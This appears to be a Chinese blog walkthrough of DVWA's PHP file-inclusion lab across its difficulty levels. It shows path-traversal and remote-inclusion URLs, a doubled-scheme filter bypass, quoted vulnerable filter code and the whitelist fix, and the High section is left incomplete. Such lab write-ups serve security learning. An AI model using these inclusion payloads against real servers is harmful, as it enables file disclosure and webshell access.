版权声明:孤 https://blog.csdn.net/Wu000999/article/details/84400910
PHP中存在文件包含漏洞的前提,在php.ini中allow_url_fopen=on、allow_url_include=on才行,不过一般allow_url_fopen都默认设置的是on。
LOW
能看到配置参数的变化:
如果我们改一个不存在的文件
http://localhost/DVWA/vulnerabilities/fi/index.php?page=new.php
它报出一些错误,可以认为
所以我们可以自己尝试更改可控字段,已达到目的
查看php.ini
http://localhost/DVWA/vulnerabilities/fi/index.php?page=../../php.ini
../ 实现向上一级目录跳转,多个时就会返回到根目录
这表明了文件包含不仅仅能读文件,还能执行文件。当然,我们不能满足于此,我们甚至可以尝试从本地包含文件。
我们在本地www目录下新建1.txt ----> <?php echo "1.txt" ; ?>
我们输入网址:
http://localhost/DVWA/vulnerabilities/fi/index.php?page=http://127.0.0.1/1.txt
果然,外部包含文件成功,这样的话我们可以在1.txt代码中写入恶意代码,拿到服务器的webshell
Medium
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
就是将输入的url参数中包含的“http://”、“https://”, “. . /” , ". . ""等字符串替换成空的字符串,
即过滤了远程文件包含, 对于本地文件包含并没有任何过滤。
本地包含:
远程包含:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=httphttp://://127.0.0.1/1.txt
High
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这个时候用file
攻击者思路
Impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
只允许固定名称的三个文件,所以可以说不存在文件包含了。